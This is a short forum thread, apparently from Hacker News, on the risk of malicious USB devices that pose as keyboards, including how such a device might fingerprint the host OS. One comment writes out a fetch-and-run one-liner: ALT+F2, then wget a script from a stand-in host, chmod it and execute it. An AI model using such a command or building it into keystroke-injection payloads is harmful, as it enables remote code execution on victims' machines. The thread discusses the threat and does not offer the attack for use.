4 ms·

I don't worry much about inserting wacky storage devices, as I run Linux, and I don't have any kind of auto-run enabled. But this would still work on my machin

I don't worry much about inserting wacky storage devices, as I run Linux, and I don't have any kind of auto-run enabled. But this would still work on my machine, right? (I mean that the key combo would be entered; it might not actually bring up the web page, depending on my setup.)

explorigin 11y ago
Another good question is, "can the usb device determine the OS that manages it?" If so, it could have customized solutions for each type of computer.
- claudius 11y ago
  Pretend to be a FAT-formatted mass storage device and see what files are accessed on automount. Possibly also pretend to be ext2 and see if e.g. the mount time in the filesystem superblock is updated. You can probably also learn a bit from the timings of specific actions by the host, but as long as there is any sort of automounting, I suppose that’s the best way to find out your host OS.
phaemon 11y ago
Yes, and worse it could do something like: ALT+F2 wget http://example.com/badscript.sh http://example.com/badscript.sh && chmod 755 ~/badscript.sh && ~/badscript.sh & Which is not so good...
- jessaustin 11y ago
  Oh it would suck to have to put a shorter timeout on sudo.